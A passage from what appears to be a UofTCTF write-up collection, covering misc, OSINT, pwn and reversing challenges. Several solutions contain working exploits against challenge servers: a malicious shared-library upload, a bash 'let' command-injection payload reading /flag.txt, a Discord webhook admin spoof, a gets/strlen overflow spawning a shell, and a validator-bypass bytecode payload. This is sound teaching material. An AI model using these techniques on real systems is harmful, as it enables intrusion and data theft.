  -DPy_LIMITED_API=0x030b0000
```

**Exploit Steps**

```bash
# 1) Upload the malicious .so over MarkupSafe _speedups
curl -X POST https://fileupload-d7e5a9bdb2b3ccd3.chals.uoftctf.org/upload \
  -F "file=@/tmp/evil_speedups.so;filename=/tmp/venv_flask/lib/python3.12/site-packages/markupsafe/_speedups.cpython-312-x86_64-linux-gnu.so"

# 2) Wait for instance to restart (502 -> 200)

# 3) Read flag output
curl -X POST https://fileupload-d7e5a9bdb2b3ccd3.chals.uoftctf.org/read \
  -d "filename=/tmp/flag.txt"
```

#### Flag

```
uoftctf{wri734bl3_libr4ri3s_c4n_b3_d4ng3r0us}
```

#### Local Verification

The wheel injection works locally:

```bash
docker run -d --name test --restart=always -p 5000:5000 --tmpfs /tmp:rw,exec,size=30m uoftctf-fileupload
# Upload malicious wheel
# Crash Python (corrupt any .so in /tmp/venv_flask)
# Container auto-restarts, pip reinstalls, flag captured
curl -X POST localhost:5000/read -d "filename=/tmp/flag_output.txt"
# Returns: uoftctf{FAKEFLAG}
```

#### Instance Behavior Notes

* Instance is unstable - frequently returns "Bad Gateway"
* Takes 30-90 seconds to come back up after crash
* Certain operations cause immediate crash (uploading to markupsafe path)

### Guess The Number

#### Description

Guess my super secret number

`nc 35.231.13.90 5000`

#### Solution

This challenge provides a server that generates a random number `x` in the range `[0, 2^100]` and gives us 50 queries to ask yes/no questions about it using a custom expression evaluator. After 50 queries, we must guess the exact value of `x`.

**The Problem:**

* We need to determine a 100-bit number (2^100 possible values)
* We only have 50 yes/no queries, which gives us at most 50 bits of information
* Standard binary search can only narrow down to 2^50 possibilities

**The Solution: Timing Side-Channel Attack**

The key insight is that we can extract **2 bits per query** by using a timing side-channel attack combined with the yes/no response:

1. **Bit A (from response):** The Yes/No answer tells us one bit
2. **Bit B (from timing):** Whether the query was fast or slow tells us another bit

**How it works:**

The expression evaluator supports short-circuit evaluation of `and`/`or` operators. We construct an expression that:

* Always returns the value of bit A (determining Yes/No response)
* Conditionally computes `3^1000000` (a slow operation) only if bit B is set

```python
# Check if bit at position is set
bit_check = (x / 2^bit_pos) % 2 >= 1

# Expression structure:
# and(SLOW_if_B, A_check)
# where SLOW_if_B = or(not(B_check), 3**1000000)
#
# If B=0: not(B)=True, short-circuits to True, fast
# If B=1: not(B)=False, evaluates 3^1000000, slow (~1-2 seconds)
```

**Timing Analysis:**

* Fast queries: \~0.08s (bit B = 0)
* Slow queries: \~0.5-2s (bit B = 1)
* Threshold: 0.3s reliably distinguishes fast from slow

**Query Mapping:**

* Query i extracts bits at positions 2i and 2i+1
* 50 queries × 2 bits = 100 bits, covering the full range

**Final Script:**

```python
from pwn import *
import time

def make_bit_check(bit_pos):
    return {"op": ">=",
            "arg1": {"op": "%",
                     "arg1": {"op": "/", "arg1": "x", "arg2": 2**bit_pos},
                     "arg2": 2},
            "arg2": 1}

def make_timing_expr(bit_a_pos, bit_b_pos):
    a_expr = make_bit_check(bit_a_pos)
    b_expr = make_bit_check(bit_b_pos)
    slow_expr = {"op": "**", "arg1": 3, "arg2": 1000000}
    slow_if_b = {"op": "or",
                 "arg1": {"op": "not", "arg1": b_expr},
                 "arg2": slow_expr}
    return {"op": "and", "arg1": slow_if_b, "arg2": a_expr}

conn = remote("35.231.13.90", 5000)
bits = [0] * 100

for i in range(50):
    expr = make_timing_expr(2*i, 2*i+1)
    conn.recvuntil(b": ")
    start = time.time()
    conn.sendline(str(expr).encode())
    response = conn.recvline().decode()
    elapsed = time.time() - start

    bits[2*i] = 1 if "Yes" in response else 0
    bits[2*i+1] = 1 if elapsed > 0.3 else 0

x = sum(bits[i] << i for i in range(100))
conn.recvuntil(b": ")
conn.sendline(str(x).encode())
print(conn.recvall().decode())
```

**Flag:** `uoftctf{h0w_did_y0u_gu3ss_7h3_numb3r}`

### K\&K Training Room

#### Description

A Discord bot challenge where players must check in to gain access to restricted channels. The bot source code reveals a vulnerability in the admin authentication.

#### Solution

**1. Code Analysis**

The bot has two main functions:

* `!webhook` command - Creates a webhook and reveals its URL (admin only)
* Check-in button handler - Grants the "K\&K" role when a button with `custom_id === 'checkin'` is clicked

The vulnerability is in the admin check (line 68):

```javascript
const isAdmin = (message) => message.author.username === CONFIG.ADMIN_NAME;
```

It checks `message.author.username === 'admin'` instead of verifying by user ID. However, Discord usernames are globally unique, so we cannot simply change our username to "admin".

**2. Webhook Username Spoofing**

The key insight is that when sending messages via webhook, you can set a custom `username` field. For webhook messages, `message.author.username` returns this custom username!

**3. Exploitation Steps**

1. Join the K\&K Training Room Discord server
2. Create your own Discord server and invite the K\&K Attendance Bot
3. Create a webhook in your server (Channel Settings → Integrations → Webhooks)
4. Send `!webhook` through your webhook with username "admin":

```python
import requests

webhook_url = "YOUR_WEBHOOK_URL"
data = {
    "content": "!webhook",
    "username": "admin"
}
requests.post(webhook_url, json=data)
```

5. The K\&K bot believes the message is from "admin" and creates a new webhook, revealing its URL
6. Use the K\&K bot's webhook to send a message with a check-in button:

```python
import requests

kk_webhook_url = "K&K_BOT_WEBHOOK_URL"
data = {
    "content": "Click to check in!",
    "components": [
        {
            "type": 1,
            "components": [
                {
                    "type": 2,
                    "label": "Check In",
                    "style": 1,
                    "custom_id": "checkin"
                }
            ]
        }
    ]
}
requests.post(kk_webhook_url, json=data)
```

7. Click the button - the K\&K bot receives the interaction and grants you the "K\&K" role
8. Return to K\&K Training Room - the #private-archives channel is now accessible, containing the flag

#### Flag

`uoftctf{tr41n_h4rd_w1n_345y_a625e2acd5ed}`

### Lottery

#### Description

Han Shangyan quietly gives away all his savings to protect someone he cares about, leaving himself with nothing. Now broke, his only hope is chance itself.

Can you help Han Shangyan win the lottery?

#### Solution

The challenge provides a bash script `lottery.sh` that reads user input and compares it against a randomly generated ticket:

```bash
#!/bin/bash

echo "Today's lottery!"
echo "Guess the winning ticket (hex):"
read guess

if [[ "$guess" =~ ^[0-9a-fA-F]+ ]]; then
    let "g = 0x$guess" 2>/dev/null
else
    echo "Invalid guess."
    exit 1
fi

ticket=$(head -c 16 /dev/urandom | md5sum | cut -c1-16)
let "t = 0x$ticket" 2>/dev/null

if [[ $g -eq $t ]]; then
    cat /flag.txt
else
    echo "Not a winner. Better luck next time!"
fi
```

**Vulnerability Analysis:**

1. **Weak regex validation**: The regex `^[0-9a-fA-F]+` only checks that the input *starts* with hex characters. There's no `$` anchor, so anything can follow after valid hex.
2. **Bash arithmetic command injection**: The `let` command evaluates arithmetic expressions. In bash arithmetic, array indexing with `a[$(cmd)]` executes the command inside `$()`.

**Exploitation:**

By sending a payload like `0+a[$(cmd)]`:

* `0` satisfies the regex (starts with hex)
* `let "g = 0x0+a[$(cmd)]"` evaluates the arithmetic expression
* The `$(cmd)` inside the array index gets executed

**Command Execution Confirmed:**

Using a timing-based approach, we confirmed command execution works:

```
payload = b'0+a[$(sleep 3; echo 0)]'
```

This caused a 3-second delay, proving arbitrary command execution.

**Flag Extraction:**

Since stdout from `$()` is captured as the array index and stderr is redirected to `/dev/null` by the `let` command, direct output exfiltration wasn't possible.

Instead, we used a **timing-based side channel** to extract the flag character by character:

```python
# Test if character at position equals a specific char
payload = f'0+a[$([ "$(cut -c{pos} /flag.txt)" = "{char}" ] && sleep 1; echo 0)]'
```

If the character matches, the script sleeps for 1 second, allowing us to determine each character based on response time.

**Extracted Flag:**

After extracting all 49 characters using the timing attack:

```
uoftctf{you_won_the_LETtery_(hahahaha_get_it???)}
```

The flag references the bash `let` command used in the vulnerability - "LETtery" is a pun on "lottery" with "LET" capitalized.

**Key Takeaways:**

* Always anchor regex patterns with `$` when validating input
* Bash arithmetic evaluation can lead to command injection via array indexing
* Even when direct output isn't available, timing-based side channels can exfiltrate data

### Nothing Ever Changes

#### Description

While conducting her research on artificial intelligence, Tong Nian claims to have found a way to create adversarial examples without changing anything at all. Her colleagues are skeptical. Can you help her hash out the details of her approach and verify its validity?

**Category:** Misc **Points:** 176 **Solves:** 24

#### Solution

This challenge requires creating PNG files that have the **same MD5 hash** but decode to **different images** - one that classifies as the original digit and one that classifies as a target digit.

**Part 1: Understanding the Requirements**

From `verification.py`, for each of 10 pairs:

1. `img1` must be pixel-identical to reference image `ref_i.png`
2. `img2` can differ by at most `budget[i]` pixels from reference
3. **`md5_hex(img1_bytes) == md5_hex(img2_bytes)`** - same MD5 hash!
4. `img1` must classify as `reference_class_ids[i]` (digits 0-9)
5. `img2` must classify as `target_class_ids[i]`

```python
target_class_ids = [1, 2, 3, 4, 5, 6, 7, 8, 9, 1]
reference_class_ids = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
budgets = [55, 30, 30, 65, 30, 10, 55, 40, 40, 40]
```

**Part 2: MD5 Collision with Correct CRCs**

We use the **UniColl** technique from [corkami/collisions](https://github.com/corkami/collisions). This exploits MD5's vulnerability to create two files with identical hashes but different content.

The collision blocks (`png1.bin`, `png2.bin`) differ only in:

* Byte 0x49: `00` vs `01` (cOLL chunk length: `0x71` vs `0x171`)
* Byte 0x89: `f2` vs `f1`

The structure:

```
[PNG signature]
[aLIG chunk - padding]
[cOLL chunk - collision block with different lengths]
[sKIP chunk - skips adversarial data in short version]
[adversarial image chunks]
[reference image chunks]
```

Key insight: PIL requires correct CRCs, so we compute CRCs for both views correctly using the different chunk lengths.

```python
def create_collision_pair(ref_arr, adv_arr):
    # Build d1 (reference) and d2 (adversarial) PNG data
    d1 = png_bytes(ref_arr)
    d2 = png_bytes(adv_arr)

    skipLen = 0x100 - 4*2 + len(d2[8:])

    # CRC for short cOLL (blockS view)
    cOLL_crc_S = crc32(blockS[0x4b:0xc0])

    # CRC for long cOLL (blockL view)
    cOLL_crc_L = crc32(blockL[0x4B:0xC0] + suffix_before_crc_L)

    # sKIP CRC for blockS view
    sKIP_crc = crc32(b"sKIP" + ASCII_ART + cOLL_crc_L + d2[8:])

    suffix = cOLL_crc_S + sKIP_header + ASCII_ART + cOLL_crc_L + d2[8:] + sKIP_crc + d1[8:]

    collision1 = blockS + suffix  # Shows d1 (reference)
    collision2 = blockL + suffix  # Shows d2 (adversarial)
```

**Part 3: Adversarial Image Generation**

We use a **batched greedy L0 attack** that:

1. Computes gradient once to identify candidate pixels
2. Uses target digit's reference image as a template
3. For each step, evaluates multiple pixel value options (template value, 0, 255) in batch
4. Selects the modification that maximizes margin = `logit[target] - max(other_logits)`

This is CPU-friendly because it minimizes backward passes while using efficient batched forward passes.

```python
def attack_l0_greedy(net, src_u8, target_u8, target_digit, budget):
    # Score candidates by |gradient| + 0.5*|diff to template|
    grad = targeted_grad(net, src_u8, target_digit)
    diff_to_template = |src_u8 - target_u8|
    score = grad + 0.5 * diff_to_template

    for step in range(budget):
        # Pick K unused candidate pixels
        # Try values: template[y,x], 0, 255 (batched)
        # Select best modification by margin
```

**Results**

All 10 pairs succeeded:

```
Pair 0: 0->1, budget=55, changed=23
Pair 1: 1->2, budget=30, changed=9
Pair 2: 2->3, budget=30, changed=13
Pair 3: 3->4, budget=65, changed=23
Pair 4: 4->5, budget=30, changed=11
Pair 5: 5->6, budget=10, changed=2
Pair 6: 6->7, budget=55, changed=28
Pair 7: 7->8, budget=40, changed=16
Pair 8: 8->9, budget=40, changed=9
Pair 9: 9->1, budget=40, changed=19
```

Local verification passes: `verifier.verify_zip(zip_data) == True`

#### Key Techniques

1. **UniColl MD5 Collision**: Pre-computed collision blocks with different chunk lengths allow the same bytes to be parsed differently
2. **Correct CRCs**: Both PNG views must have valid CRCs - computed by understanding which bytes belong to which chunks in each view
3. **Batched Greedy L0 Attack**: Efficient adversarial generation using template guidance and margin-based selection

#### Part 4: PoW Encoding Bug

The biggest gotcha was the proof-of-work encoding format. The kCTF PoW uses a specific encoding that differs from standard base64 integer encoding:

```python
# WRONG - what we initially used:
def encode_value(x):
    nbytes = (x.bit_length() + 7) // 8
    data = x.to_bytes(nbytes, 'big')
    return base64.b64encode(data).decode('ascii').rstrip('=')

# CORRECT - what kCTF expects (from /tmp/kctf_pow.py):
def encode_number(num):
    size = (num.bit_length() // 24) * 3 + 3
    return str(base64.b64encode(num.to_bytes(size, 'big')), 'utf-8')
```

The difference: kCTF uses `(bit_length // 24) * 3 + 3` bytes, not `(bit_length + 7) // 8`. This produces different byte padding which changes the base64 output entirely.

#### Files

* `solve_final2.py` - Complete solution script
* `pow_solver.py` - kCTF proof-of-work solver using Sloth VDF
* `submit.py` - Server submission script
* `submission.zip` - Generated solution (22KB)

#### Flag

```
uoftctf{d1d_y0u_kn0w_4_UofT_pr0f3550r_m4d3_th3_JSMA_p4p3r(https://doi.org/10.48550/arXiv.1511.07528)???}
```

The flag references the JSMA (Jacobian-based Saliency Map Approach) paper, authored by a UofT professor.

#### References

* [corkami/collisions](https://github.com/corkami/collisions) - Hash collision techniques
* [Google kCTF PoW](https://github.com/google/kctf) - Proof-of-work implementation

### Reverse Wordle

#### Description

My friend said they always use the same starting word, can you help me find out what it is?

Submit the sha256 hash of the ALL CAPS word wrapped in the flag format uoftctf{...}

#### Solution

We're given a file `chall.txt` containing three Wordle game results:

```
Wordle 1 3/6*
⬛⬛🟨⬛🟨
⬛🟨⬛🟩🟩
🟩🟩🟩🟩🟩

Wordle 67 4/6*
🟨⬛⬛⬛⬛
⬛🟩⬛🟩⬛
🟩🟩🟩🟩⬛
🟩🟩🟩🟩🟩

Wordle 1,336 6/6*
⬛⬛⬛🟨⬛
⬛⬛🟨⬛⬛
⬛🟩⬛⬛⬛
⬛🟩⬛⬛🟨
🟩🟩🟩🟩⬛
🟩🟩🟩🟩🟩
```

The first row of each game is the starting word we need to find. The patterns tell us:

* 🟩 (green) = correct letter in correct position
* 🟨 (yellow) = correct letter in wrong position
* ⬛ (gray) = letter not in the answer

**Step 1: Find the Wordle answers**

Using a Wordle answer archive, we find:

* Wordle #1 (June 20, 2021): **REBUT**
* Wordle #67 (August 25, 2021): **CRASS**
* Wordle #1336 (February 14, 2025): **DITTY**

**Step 2: Derive constraints for the starting word**

For the starting word to produce the observed patterns:

Against REBUT (⬛⬛🟨⬛🟨):

* Position 3 letter must be in REBUT but not at position 3 (not B)
* Position 5 letter must be in REBUT but not at position 5 (not T)
* Positions 1,2,4 letters must not be in REBUT

Against CRASS (🟨⬛⬛⬛⬛):

* Position 1 letter must be in CRASS but not at position 1 (not C)
* Positions 2,3,4,5 letters must not be in CRASS

Against DITTY (⬛⬛⬛🟨⬛):

* Position 4 letter must be in DITTY but not at position 4 (not T)
* Positions 1,2,3,5 letters must not be in DITTY

**Step 3: Search for valid words**

Using a comprehensive Wordle word list and implementing the Wordle pattern-checking algorithm, we search for 5-letter words that satisfy all constraints.

```python
def check_wordle(guess, answer, expected_pattern):
    result = ['B'] * 5
    answer_chars = list(answer)

    # First pass: greens
    for i in range(5):
        if guess[i] == answer[i]:
            result[i] = 'G'
            answer_chars[i] = None

    # Second pass: yellows
    for i in range(5):
        if result[i] == 'B' and guess[i] in answer_chars:
            result[i] = 'Y'
            idx = answer_chars.index(guess[i])
            answer_chars[idx] = None

    return ''.join(result) == expected_pattern

patterns = [
    ("REBUT", "BBYBY"),
    ("CRASS", "YBBBB"),
    ("DITTY", "BBBYB"),
]
```

The only word matching all constraints is: **SQUIB**

Verification:

* SQUIB vs REBUT: ⬛⬛🟨⬛🟨 (U is in REBUT, B is in REBUT)
* SQUIB vs CRASS: 🟨⬛⬛⬛⬛ (S is in CRASS)
* SQUIB vs DITTY: ⬛⬛⬛🟨⬛ (I is in DITTY)

**Step 4: Calculate the flag**

```bash
echo -n "SQUIB" | sha256sum
# 64b28ded00856c89688f8376f58af02dc941535cbb0b94ad758d2a77b2468646
```

**Flag:** `uoftctf{64b28ded00856c89688f8376f58af02dc941535cbb0b94ad758d2a77b2468646}`

***

## osint

### Go Go Cabinet!

#### Description

I really like Go Go Squid! In fact, I like it so much that I even bought the same model of cabinet that is in the series!

Can you find:

1. The first and last name of the designer of this cabinet?
2. The episode and timestamp that this cabinet first appears at all in the series on YouTube?

Flag format: `uoftctf{First_Last_EpisodeNum_MM:SS}`

#### Solution

**Step 1: Identify the Cabinet**

The challenge image shows a glass display cabinet containing trading cards, figurines, and gaming collectibles. The cabinet has a dark frame with glass panels on multiple sides.

By searching for IKEA glass display cabinets and comparing the design, this was identified as the **IKEA FABRIKÖR** glass-door cabinet.

**Step 2: Find the Designer**

Searching for "IKEA FABRIKÖR designer" on the IKEA product page reveals that the cabinet was designed by **Nike Karlsson**.

From the IKEA product description:

> "When I designed FABRIKÖR glass-door cabinet I was inspired by industrial furniture from the early 20th century, especially the so-called medical cabinets, where medicine and medical supplies were kept. It's a piece of furniture that's robust, sturdy and breathes quality – and its soft, rounded corners also make it beautiful."

**Step 3: Find Episode and Timestamp on YouTube**

"Go Go Squid!" (亲爱的，热爱的) is a 2019 Chinese e-sport romance drama starring Yang Zi and Li Xian. The series is available on YouTube through various Chinese drama channels.

By watching the episodes on YouTube, the FABRIKÖR cabinet first appears in **Episode 3** at timestamp **04:02** in a living room scene.

#### Flag

```
uoftctf{Nike_Karlsson_03_04:02}
```

#### Tools/Resources Used

* IKEA product database and designer information
* YouTube (Go Go Squid episodes)
* Web searches for cabinet identification

### Go Go Coaster!

#### Description

During an episode of Go Go Squid!, Han Shangyan was too scared to go on a roller coaster. What's the English name of this roller coaster? Also, what's its height in whole feet?

Flag format: uoftctf{Coaster\_Name\_HEIGHT}

#### Solution

This OSINT challenge requires identifying a roller coaster from the Chinese TV drama "Go Go Squid!" (亲爱的，热爱的), a 2019 romantic comedy-drama starring Yang Zi and Li Xian.

**Step 1: Identify the scene**

Searching for information about Han Shangyan and roller coasters reveals that in Episode 12, there's a scene where the characters visit an amusement park. Han Shangyan, despite his tough demeanor as a professional esports player, is terrified of roller coasters. A flashback shows his former teammates Solo and Ou Qiang trying to force him onto the ride during their Solo team days.

**Step 2: Identify the filming location**

Researching the filming locations for "Go Go Squid!" reveals that the amusement park scenes were filmed at **Shanghai Happy Valley** (上海欢乐谷), located in Songjiang District, Shanghai, China.

Chinese sources describe the roller coaster as a "恐怖级跌落式过山车" (terrifying drop-style roller coaster) with a "几近90度垂直俯冲" (nearly 90-degree vertical plunge) that "在最高点时还俏皮地向前倾" (tilts forward at the highest point). This is characteristic of a dive coaster.

**Step 3: Identify the specific roller coaster**

Shanghai Happy Valley has a dive coaster called **Diving Coaster** (Chinese: 绝顶雄风), manufactured by Bolliger & Mabillard (B\&M) and opened on August 16, 2009.

**Step 4: Find the height**

According to the Roller Coaster Database (RCDB) and Coasterpedia:

* Height: 64.9 meters = **213 feet**
* The coaster features a 90-degree vertical drop after pausing at the top of the lift hill

**Flag:** `uoftctf{Diving_Coaster_213}`

#### References

* [RCDB - Diving Coaster at Happy Valley Shanghai](https://rcdb.com/4224.htm)
* [Coasterpedia - Diving Coaster (Happy Valley Shanghai)](https://coasterpedia.net/wiki/Diving_Coaster_\(Happy_Valley_Shanghai\))
* [Go Go Squid! Episode Recaps](https://www.juliaandtania.com/blog/?p=4936)

***

## pwn

### Baby bof

#### Description

People said gets is not safe, but I think I figured out how to make it safe.

`nc 34.48.173.44 5000`

#### Solution

The binary is a simple x86-64 executable with the following protections:

* No PIE (fixed addresses)
* No stack canary
* NX enabled

Analyzing the binary reveals a `win` function at `0x4011f6` that calls `system("/bin/sh")`:

```c
void win() {
    system("/bin/sh");
}
```

The `main` function reads user input using the vulnerable `gets()` function into a 16-byte buffer, but attempts to "secure" it by checking if `strlen()` returns more than 14:

```c
char buf[16] = {0};
puts("What is your name: ");
gets(buf);
if (strlen(buf) > 14) {
    puts("Thats suspicious.");
    exit(1);
}
printf("Hi, %s!\n", buf);
```

**The vulnerability**: `strlen()` stops counting at the first null byte (`\x00`), while `gets()` continues reading until a newline character. This allows us to bypass the length check by placing a null byte at the start of our payload.

**Stack layout analysis**:

* Buffer at `rbp-0x10` (16 bytes)
* Saved RBP at `rbp` (8 bytes)
* Return address at `rbp+0x8`
* Total offset to return address: 24 bytes

**Exploit strategy**:

1. Start payload with null byte (`\x00`) to make `strlen()` return 0
2. Pad with 23 bytes to reach return address
3. Add a `ret` gadget (`0x40101a`) for stack alignment
4. Add the address of `win` function (`0x4011f6`)

```python
#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'

win_addr = 0x4011f6
ret_gadget = 0x40101a

p = remote('34.48.173.44', 5000)

payload = b'\x00' + b'A' * 23 + p64(ret_gadget) + p64(win_addr)

p.recvuntil(b'name:')
p.sendline(payload)
p.sendline(b'cat flag.txt')
print(p.recvall(timeout=5).decode())
```

**Flag**: `uoftctf{i7s_n0_surpris3_7h47_s7rl3n_s70ps_47_null}`

***

## rev

### Baby (Obfuscated) Flag Checker

#### Description

We are given a heavily obfuscated Python script that checks whether an input string is the correct flag. The logic is hidden inside a large state machine with junk arithmetic and confusing control flow.

The hint suggests that full deobfuscation is unnecessary.

#### Key Observations

1. The program immediately exits unless the input length is exactly **74 characters**.
2. After the length check, the script performs many substring comparisons of the form: s\[a:b] == "expected\_value"
3. These comparisons are hidden inside the obfuscation, but at runtime they must still compare real strings.

So instead of reversing the state machine, we extract the expected substrings dynamically.

***

#### Solution Strategy

We run the program with a partially-correct flag and patch the runtime so that whenever a substring comparison happens, we log:

* the slice being checked
* the expected value

We then reconstruct the flag incrementally.

***

#### Example Extraction Script

This monkey-patches Python's string equality to log suspicious comparisons:

python dump\_slices.py

```
import builtins
import sys

orig_eq = str.__eq__

def hooked_eq(self, other):
    if isinstance(self, str) and isinstance(other, str):
        if 1 <= len(self) <= 25 and 1 <= len(other) <= 25:
            print("COMPARE:", repr(self), repr(other))
    return orig_eq(self, other)

str.__eq__ = hooked_eq

import baby
```

By running the checker repeatedly and filling in discovered slices, the full flag can be reconstructed.

***

#### Final Flag

uoftctf{d1d\_y0u\_m0nk3Y\_p4TcH\_d3BuG\_r3v\_0r\_0n3\_sh07\_th15\_w17h\_4n\_1LM\_XD???}

### Bring Your Own Program

#### Description

We are given a mysterious emulator for an unknown architecture. The service accepts a single line of hex-encoded bytecode, validates it, emulates it, and prints the return value. Our goal is to craft a valid program that leaks the flag from the remote system.

The challenge provides a ZIP archive containing `chal.js`, which implements the emulator and validator logic.

Connection:

```
nc 35.245.96.82 5000
```

***

#### Solution

After reversing `chal.js`, we observe the following:

**Program Format**

The emulator expects the following structure:

* **Byte 0**: Number of registers (`nr`), must be between 2 and 64.
* **Byte 1**: Number of constants.
* **Constants table**:
  * `0x01` → float64 (8 bytes)
  * `0x02` → string (u16 length + bytes)
* Remaining bytes → bytecode instructions.

The emulator exposes a global object called `caps`, which contains nested maps and functions. One of these functions allows reading arbitrary absolute files from disk (up to 4096 bytes). However, the validator restricts which property keys can be accessed:

```
Allowed keys: {1, 2, 3, 4, 10, 11}
```

The file-read function is stored under **numeric key `0`**, which is normally forbidden.

***

#### Vulnerability

The validator is **linear** and does not follow control flow. This means we can trick it by placing a jump instruction that causes execution to begin in the middle of another instruction. The validator only checks bytes linearly and never verifies the instruction stream after jumps.

This allows us to:

1. Pass validation using only allowed keys
2. Jump into the middle of an instruction
3. Execute a `GETPROP` with key `0`
4. Retrieve the file-read primitive
5. Read `/flag.txt`

***

#### Exploit Logic

The crafted program performs:

1. Load global `caps`
2. Access nested object via allowed key
3. Jump into middle of a fake instruction
4. Execute forbidden GETPROP with key `0`
5. Load string `"/flag.txt"`
6. Call file-read function
7. Return flag

***

#### Final Payload

Send this hex string to the server:

```
4002020400636170730209002f666c61672e74787402000020010003600100012100300100010101300200300101310232
```

Run:

```
nc 35.245.96.82 5000
```

Paste the payload and receive:

```
uoftctf{c4ch3_m3_1n11n3_h0w_80u7_d4h??}
```

***

#### Summary

This challenge demonstrates a classic validation vs execution mismatch. By exploiting the linear validator and abusing instruction alignment, we gain access to forbidden properties and achieve arbitrary file read, leaking the flag.

### Symbol of Hope

#### Description

Like a beacon in the dark, Go Go Squid! stands as a symbol of hope to those who seek to be healed.

Category: Rev Points: 47 Solves: 182

We're given a binary called `checker` that validates a flag input and prints "Yes" or "No".

#### Solution

**Initial Analysis**

The binary is UPX-packed, which we can identify from running `strings` on it:

```bash
$ file checker
checker: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), statically linked, no section header

$ strings checker | grep UPX
UPX!
$Info: This file is packed with the UPX executable packer http://upx.sf.net $
```

Running the binary shows it expects input and responds with "Yes" or "No":

```bash
$ echo "test" | ./checker
No

$ echo "uoftctf{test}" | ./checker
No
```

**Dumping Unpacked Code from Memory**

Since the binary unpacks itself at runtime using UPX's self-extraction, we can dump the unpacked code directly from memory using GDB. The binary creates several memory mappings during startup to unpack the actual code.

Using GDB to catch memory mapping system calls and then dump the unpacked sections:

```bash
$ gdb ./checker
(gdb) set disable-randomization on
(gdb) catch syscall mmap
(gdb) run <<< "test"
# Step through several mmap calls until code is unpacked
(gdb) info proc mappings
# Identify code section (executable + writable region)
# Code at 0x7ffff7f93000 (size: 0x40000 bytes)
# Rodata at 0x7ffff7fd3000 (size: 0x2a000 bytes)
(gdb) dump binary memory code.bin 0x7ffff7f93000 0x7ffff7fd3000
(gdb) dump binary memory rodata.bin 0x7ffff7fd3000 0x7ffff7ffd000
```

**Reverse Engineering the Transformation**

Analyzing the dumped code reveals the flag checking mechanism:

1. **Main function** (offset `0x3fe92`): Reads exactly 42 bytes of input using `fgets`, copies to a buffer, then calls a transformation function at offset `0x23b`.
2. **Transformation chain** (starting at `0x23b`): A chain of approximately 200 nested functions. Each function:
   * Modifies one specific byte of the input using various operations (`imul`, `add`, `sub`, `xor`, `not`, `rol`, `ror`)
   * Calls the next function in the chain
   * The chain terminates at offset `0x3fe40`
3. **Comparison function** (`0x3fe40`): Uses `memcmp` to compare the transformed buffer against expected bytes stored in rodata at offset `0x20`.

Key insight: Each byte transforms independently. Changing one input byte only affects that same position in the output, not other positions. This means we can brute-force each position separately.

**Emulation with Unicorn Engine**

We use Python with Unicorn Engine to emulate the transformation function and brute-force each character position:

```python
from unicorn import *
from unicorn.x86_const import *

# Load the dumped memory sections
with open("code.bin", "rb") as f:
    code = f.read()
with open("rodata.bin", "rb") as f:
    rodata = f.read()

# Expected encrypted bytes from rodata offset 0x20
expected = list(rodata[0x20:0x4a])  # 42 bytes

CODE_ADDR = 0x10000
STACK_ADDR = 0x100000
BUFFER_ADDR = 0x300000

def encrypt_flag(flag_bytes):
    """Emulate the transformation function on a given input"""
    mu = Uc(UC_ARCH_X86, UC_MODE_64)

    # Map memory regions
    mu.mem_map(CODE_ADDR, 0x70000)      # Code + rodata
    mu.mem_map(STACK_ADDR, 0x100000)    # 1MB stack (important!)
    mu.mem_map(BUFFER_ADDR, 0x1000)     # Input buffer

    # Write code, rodata, and input to memory
    mu.mem_write(CODE_ADDR, code)
    mu.mem_write(CODE_ADDR + 0x40000, rodata)
    mu.mem_write(BUFFER_ADDR, bytes(flag_bytes))

    # Set up stack and register state
    mu.reg_write(UC_X86_REG_RSP, STACK_ADDR + 0x80000)
    mu.reg_write(UC_X86_REG_RBP, STACK_ADDR + 0x80000)
    mu.reg_write(UC_X86_REG_RDI, BUFFER_ADDR)  # First argument: buffer pointer

    # Run transformation from 0x23b until comparison at 0x3fe40
    mu.emu_start(CODE_ADDR + 0x23b, CODE_ADDR + 0x3fe40)

    # Read back the transformed buffer
    return list(mu.mem_read(BUFFER_ADDR, 42))

# Brute force each position independently
flag = [0] * 42
for pos in range(42):
    print(f"Brute forcing position {pos}...")
    for c in range(256):
        test = flag.copy()
        test[pos] = c
        result = encrypt_flag(test)
        if result[pos] == expected[pos]:
            flag[pos] = c
            print(f"  Found: {chr(c)}")
            break

print("\nFlag:", bytes(flag).decode())
```

**Critical Detail:** The deep function call chain (approximately 200 nested calls) requires substantial stack space. Initially using the default 64KB stack caused memory access errors during emulation. Increasing the stack to 1MB fixed the issue.

**Alternative: Symbolic Execution with angr**

The challenge name "Symbol of Hope" and the flag message itself hint that symbolic execution is the intended solution approach. Tools like angr can automatically solve this:

```python
import angr

p = angr.Project('./checker', auto_load_libs=False)
state = p.factory.entry_state()
simgr = p.factory.simulation_manager(state)
simgr.explore(find=lambda s: b"Yes" in s.posix.dumps(1))

if simgr.found:
    print(simgr.found[0].posix.dumps(0))
```

#### Flag

```
uoftctf{5ymb0l1c_3x3cu710n_15_v3ry_u53ful}
```

The flag is a leetspeak message: "symbolic execution is very useful" - confirming that symbolic execution tools (or manual position-by-position solving as we did) are the intended approach.

The challenge references:

* "Symbol of Hope" = symbolic execution
* "Go Go Squid!" = A Chinese TV show about CTF competitions, hinting at the challenge context

### Will u Accept Some Magic?

#### Description

A 500-point reverse engineering challenge featuring a WebAssembly binary compiled from Kotlin using WASM GC (Garbage Collection). The challenge hints at "Where did my heap go?" referring to WASM GC's managed memory model.

#### Solution

**1. Initial Analysis**

The challenge provides:

* `program.wasm` - A WebAssembly binary with GC features
* `runner.mjs` - A Node.js script to run the WASM module

The program prompts for a 30-character password and validates it character by character using 30 "Processor" objects.

**2. Environment Setup**

WASM GC features require Node.js v22+. Standard tools like wabt couldn't parse the GC types, so I used binaryen's `wasm-dis` for decompilation:

```bash
wasm-dis program.wasm -o program.wat
```

**3. Understanding the Validation Structure**

Analyzing the decompiled WAT file revealed:

* 30 Processor globals (struct $27) at `global$134` and `global$184-212`
* Each Processor contains function references for:
  * Expected character getter (type $9)
  * XOR transformation function
  * Position check function
  * Validation function

**4. Extracting Expected Characters**

The key insight was that each Processor's expected character comes from a function reference stored in field 2 of the struct. Some functions are reused across multiple positions:

| Function | Returns | ASCII | Used by positions |
| -------- | ------- | ----- | ----------------- |
| $135     | 48      | '0'   | 0                 |
| $139     | 81      | 'Q'   | 1                 |
| $143     | 71      | 'G'   | 2                 |
| $147     | 70      | 'F'   | 3, 11             |
| $151     | 67      | 'C'   | 4, 17             |
